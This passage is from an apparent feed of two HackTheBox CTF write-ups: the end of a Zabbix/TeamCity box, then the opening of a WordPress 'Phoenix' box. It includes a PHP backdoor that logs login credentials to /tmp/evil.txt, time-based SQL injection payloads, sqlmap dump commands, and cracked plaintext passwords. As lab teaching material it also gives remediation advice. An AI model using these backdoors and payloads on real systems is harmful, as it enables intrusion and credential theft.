&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;hasRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'enter'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nc"&gt;CWebUser&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ZBX_GUEST_USER&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nf"&gt;getRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'??'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'??'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/tmp/evil.txt'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'a+'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;fputs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is invisible to anyone logging in — the login still succeeds normally,&lt;br&gt;
it's just also logged in cleartext on disk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Catching Frank's login:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since Frank's automated login was going to hit the patched page on its next&lt;br&gt;
cycle, all that's left is to wait ~60 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /tmp/evil.txt
Frank:R%)3S7^Hf4TBobb(gVVs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Frank's real password, in plaintext, zero cracking required.&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation: TeamCity Build Agent → root
&lt;/h2&gt;

&lt;p&gt;Back at the tunneled TeamCity login page, Frank's freshly-harvested Zabbix&lt;br&gt;
password is reused successfully:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:8111/login.html
Username: Frank
Password: R%)3S7^Hf4TBobb(gVVs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password reuse strikes again, and Frank turns out to have full admin rights&lt;br&gt;
in TeamCity.&lt;/p&gt;

&lt;p&gt;From here: &lt;strong&gt;Agents → Default Agent → Open Terminal&lt;/strong&gt;. TeamCity's build&lt;br&gt;
agent process runs as &lt;strong&gt;root&lt;/strong&gt; on the host, and its built-in web terminal&lt;br&gt;
gives an interactive shell running &lt;em&gt;as that process&lt;/em&gt; — no exploitation&lt;br&gt;
needed, just clicking a button:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root
&lt;span class="c"&gt;# pwd&lt;/span&gt;
/root/TeamCity/buildAgent/bin
&lt;span class="c"&gt;# cd /root&lt;/span&gt;
&lt;span class="c"&gt;# ls&lt;/span&gt;
TeamCity  root.txt  scripts  snap
&lt;span class="c"&gt;# cat root.txt&lt;/span&gt;
&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Box owned.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan (22/tcp SSH, 80/tcp HTTP)
  └─ vhost fuzzing (ffuf) → zabbix.watcher.vl discovered
       └─ Zabbix guest login enabled → version fingerprinted
            └─ CVE-2024-22120: click host → run "Ping" script → triggers vulnerable audit-log entry
                 └─ Time-based blind SQLi on `clientip` → leak session-signing key → leak Admin's live session ID
                      └─ Reuse same bug to authorize arbitrary script execution → RCE as `zabbix`
                           ├─ find conf files → zabbix.conf.php → MySQL creds → dump `users` table (bcrypt, uncracked)
                           ├─ ss -tulnp → 10050/10051 (local agent/trapper) + root-owned TeamCity on 127.0.0.1:8111 → curl confirms TeamCity
                           ├─ Drop SSH key into zabbix's authorized_keys → tunnel 8111 for browser access
                           ├─ Reset Admin's password directly via MySQL UPDATE
                           └─ Backdoor index.php login handler → log creds to /tmp/evil.txt
                                └─ Audit Log shows Frank auto-logging in every 60s
                                     └─ Capture Frank's plaintext password
                                          └─ Log into TeamCity as Frank (password reuse, admin rights)
                                               └─ Agents → Default Agent → Open Terminal (runs as root)
                                                    └─ root shell → cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Patch Zabbix&lt;/strong&gt; to a version fixed for CVE-2024-22120, CVE-2024-42327, and CVE-2024-22116 — all of these stem from missing input sanitization in server-side SQL, and all are fixed upstream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable the guest account&lt;/strong&gt; if it isn't strictly needed; even "read-only" access here was enough to trigger a script execution and kick off the injection chain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lock down file permissions&lt;/strong&gt; on the Zabbix frontend so the web-server user can't rewrite its own PHP source (prevents backdooring &lt;code&gt;index.php&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never reuse passwords&lt;/strong&gt; across services (Zabbix ↔ TeamCity here) — a compromise of one becomes a compromise of both.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrict TeamCity's build agent terminal feature&lt;/strong&gt;, or at minimum don't run the agent process as root - an agent compromise shouldn't equal a full root shell.&lt;/li&gt;
&lt;li&gt;Rotate credentials used by automated/service accounts (like Frank's here) regularly, and never log plaintext credentials anywhere, even transiently.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: Phoenix Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 04 Jul 2026 11:39:29 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-phoenix-writeup-5cg1</link>
      <guid>https://dev.to/exploitnotes/hackthebox-phoenix-writeup-5cg1</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Phoenix is a WordPress box with a long, winding path to root. The short version: an unauthenticated SQL injection in a forum plugin leaks the whole WordPress database, which gives admin credentials and everything needed to defeat the site's two-factor authentication without ever touching a phone or app. From there, a second vulnerable plugin gives code execution and a low-privilege shell. A misconfigured SSH setup (2FA plus an IP allowlist) turns out to have a loophole via a second network interface on the box, which leads to a proper user account. Root comes from reverse engineering a compiled backup script and abusing an old but classic rsync wildcard injection trick to drop a SUID root shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Started with a full port scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 10.129.x.x &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
443/tcp open  ssl/http Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd.
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTTPS cert and &lt;code&gt;robots.txt&lt;/code&gt; both pointed at a hostname, so added it to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'10.129.x.x phoenix.htb'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; disallowed &lt;code&gt;/wp-admin/&lt;/code&gt; and pointed at a WordPress sitemap — confirming this is a WordPress site.&lt;/p&gt;




&lt;h2&gt;
  
  
  Web Enumeration
&lt;/h2&gt;

&lt;p&gt;The site itself is a "Coming Soon" landing page for a fake cybersecurity company (Phoenix Security), with a sign-up/login flow, a blog, and a forum.&lt;/p&gt;

&lt;p&gt;Poking at the WordPress sitemap (&lt;code&gt;wp-sitemap-users-1.xml&lt;/code&gt;) leaked two usernames via author archive pages — a classic WordPress info-leak:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jsmith&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;phoenix&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  WPScan Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wpscan &lt;span class="nt"&gt;--url&lt;/span&gt; https://phoenix.htb &lt;span class="nt"&gt;--disable-tls-checks&lt;/span&gt; &lt;span class="nt"&gt;--api-token&lt;/span&gt; &amp;lt;token&amp;gt; &lt;span class="nt"&gt;-e&lt;/span&gt; vt,vp,u
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trimmed output (WPScan's full CVE listing per plugin runs to hundreds of lines — keeping the parts that mattered):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
 | [!] 37 vulnerabilities identified:
 ...

[+] WordPress theme in use: coming-soon-event
 | Version: 1.0.8 (80% confidence)

[i] Plugin(s) Identified:

[+] accordion-slider-gallery
 | [!] 1 vulnerability identified: Missing Authorization (CVE-2025-62130)

[+] asgaros-forum
 | [!] The version is out of date, the latest version is 3.4.0
 | [!] 12 vulnerabilities identified:
 | [!] Title: Asgaros Forum &amp;lt; 1.15.13 - Unauthenticated SQL Injection
 |     Fixed in: 1.15.13
 |     References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24827
 | Version: 1.15.12 (10% confidence)

[+] photo-gallery-builder
 | [!] 1 vulnerability identified: Missing Authorization (CVE-2024-49325)

[+] pie-register
 | [!] 22 vulnerabilities identified (multiple CVEs spanning 2013-2026)

[+] timeline-event-history
 | [!] 4 vulnerabilities identified (Object Injection, Stored/Reflected XSS)

[i] User(s) Identified:
[+] John Smith  | Found By: Rss Generator (Passive Detection)
[+] phoenix     | Confirmed By: Author Sitemap
[+] jsmith      | Confirmed By: Author Sitemap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Dead End: Pie Register RCE Attempt
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;pie-register&lt;/code&gt; had a public exploit for an unauthenticated auth-bypass-to-RCE (CVE-2025-34077) that forges a session via the plugin's social-login flow, then uploads a malicious "plugin" ZIP containing a webshell.&lt;/p&gt;

&lt;p&gt;Executed the public PoC - it failed with a Python syntax error in the script itself. Manually replayed the HTTP request the exploit makes; no session cookie was ever set, meaning this particular install doesn't behave the way the CVE expects.&lt;/p&gt;

&lt;p&gt;The actual reason turned out to be a version mismatch, not just a broken PoC. WPScan couldn't pin an exact Pie Register version and left it as "could not be determined," but checking the page source directly showed the real version in the asset query strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;'stylesheet'&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;'pie_dialog_css-css'&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;'.../pie-register/assets/css/dialog.css?ver=3.7.2.6'&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the installed version is &lt;strong&gt;3.7.2.6&lt;/strong&gt;. CVE-2025-34077's public exploit targets Pie Register &lt;strong&gt;&amp;lt;= 3.7.1.4&lt;/strong&gt; - a version range this install is already past. The vulnerable code path simply isn't present here. &lt;strong&gt;Genuine dead end&lt;/strong&gt; - dropped it and moved to the next lead rather than sinking more time into it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Foothold #1: Unauthenticated SQL Injection (Asgaros Forum)
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;asgaros-forum&lt;/code&gt; version installed matched a known unauthenticated SQL injection: CVE-2021-24827.&lt;/p&gt;

&lt;p&gt;Confirmed manually with a time-based payload against the forum's &lt;code&gt;subscribe_topic&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;time &lt;/span&gt;curl &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="s1"&gt;'https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;span class="c"&gt;# real 11.24s  &amp;lt;- response time matches the injected sleep()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automated with sqlmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://phoenix.htb/forum/?subscribe_topic=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; subscribe_topic &lt;span class="nt"&gt;--technique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;T &lt;span class="nt"&gt;--time-sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3 &lt;span class="nt"&gt;--dbs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;GET&lt;/span&gt; &lt;span class="k"&gt;parameter&lt;/span&gt; &lt;span class="s1"&gt;'subscribe_topic'&lt;/span&gt; &lt;span class="n"&gt;appears&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt;
&lt;span class="s1"&gt;'MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)'&lt;/span&gt; &lt;span class="n"&gt;injectable&lt;/span&gt;
&lt;span class="k"&gt;Parameter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;subscribe_topic&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt; &lt;span class="n"&gt;blind&lt;/span&gt;
    &lt;span class="n"&gt;Payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;subscribe_topic&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;2509&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SLEEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="n"&gt;ijUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;---&lt;/span&gt;
&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="n"&gt;DBMS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;
&lt;span class="n"&gt;available&lt;/span&gt; &lt;span class="n"&gt;databases&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;wordpress&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Dumping WordPress credentials
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://phoenix.htb/forum/?subscribe_topic=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; subscribe_topic &lt;span class="nt"&gt;--technique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;T &lt;span class="nt"&gt;--time-sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; wordpress &lt;span class="nt"&gt;-T&lt;/span&gt; wp_users &lt;span class="nt"&gt;-C&lt;/span&gt; user_login,user_pass,user_email &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database: wordpress
Table: wp_users
[6 entries]
+------------+-----------------------------------------------+------------------------+
| user_login | user_pass                                     | user_email             |
+------------+-----------------------------------------------+------------------------+
| john       | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz.            | john@domain.htb        |
| Phoenix    | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.            | phoenix@phoenix.htb    |
| Jane       | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91            | jane@phoenix.htb       |
| test       | $P$BRvG7ym.p0pttnKH4t5SOdnbIFiMRI0 (testtest) | a@a.com                |
| Jsmith     | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G.            | john.smith@phoenix.htb |
| Jack       | $P$BzalVhBkVN.6ii8y/nbv3CTLbC0E9e.            | jack@phoenix.htb       |
+------------+-----------------------------------------------+------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note this kind of time-based blind extraction is &lt;em&gt;slow&lt;/em&gt; - dumping this table took roughly 2 hours real time, since every character requires its own HTTP request plus a &lt;code&gt;sleep()&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cracking the hashes
&lt;/h3&gt;

&lt;p&gt;sqlmap automatically saved the raw dump as CSV:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[INFO] table 'wordpress.wp_users' dumped to CSV file
'/root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled just the &lt;code&gt;username:hash&lt;/code&gt; pairs out of that CSV into a file John can read directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $1":"$2}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; wp_hashes.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then ran John against rockyou.txt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john wp_hashes.txt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cracked 1 password hash (is in /opt/john-bleeding/run/john.pot), use "--show"
phoenixthefirebird14 (Phoenix)
1g 0:00:07:29 ... 4341p/s

[... ran again later, letting it continue against remaining hashes ...]
Cracked 3 password hashes (are in /opt/john-bleeding/run/john.pot), use "--show"
superphoenix     (Jsmit)
password@1234    (john)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cracked 3 of the 6 total:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;user_login&lt;/th&gt;
&lt;th&gt;password&lt;/th&gt;
&lt;th&gt;notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Phoenix&lt;/td&gt;
&lt;td&gt;&lt;code&gt;phoenixthefirebird14&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the admin account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jsmith&lt;/td&gt;
&lt;td&gt;&lt;code&gt;superphoenix&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;maps to the &lt;code&gt;editor&lt;/code&gt; Linux user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;john&lt;/td&gt;
&lt;td&gt;&lt;code&gt;password@1234&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;not used further&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;(A &lt;code&gt;test&lt;/code&gt; account also appeared in the dump - that one was self-created earlier while exploring the registration form, not a recovered credential.)&lt;/p&gt;




&lt;h2&gt;
  
  
  2FA Bypass: Decrypting the Admin's TOTP Secret
&lt;/h2&gt;

&lt;p&gt;Logging in as &lt;code&gt;Phoenix&lt;/code&gt; / &lt;code&gt;phoenixthefirebird14&lt;/code&gt; worked, but hit a &lt;strong&gt;Validate OTP&lt;/strong&gt; prompt from the &lt;code&gt;miniorange-2-factor-authentication&lt;/code&gt; plugin - a standard TOTP (Time-based One-Time Password) challenge tied to an authenticator app. Guessing or brute-forcing this isn't realistic (codes rotate every 30 seconds and there's only 3 attempts).&lt;/p&gt;

&lt;h3&gt;
  
  
  Confirming where the TOTP secret lives
&lt;/h3&gt;

&lt;p&gt;Rather than attack the OTP prompt itself, went looking for where the plugin actually stores its 2FA state. Pulled the plugin's local PHP source (the &lt;code&gt;Miniorange_Mobile_Login&lt;/code&gt; class) to see how it handles login/verification - this confirmed the general meta-key naming convention the plugin uses (&lt;code&gt;mo_2factor_mobile_registration_status&lt;/code&gt;, &lt;code&gt;mo_2factor_map_id_with_email&lt;/code&gt;, etc.), all stored per-user in standard WordPress user meta rather than anything external.&lt;/p&gt;

&lt;p&gt;This was reinforced by the plugin's own &lt;code&gt;uninstall.php&lt;/code&gt; cleanup routine, which lists out essentially every option and user-meta key it ever creates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="c1"&gt;//delete all stored key-value pairs which are available to all users&lt;/span&gt;
        &lt;span class="nf"&gt;delete_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'mo2f_email'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;delete_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'mo2f_host_name'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
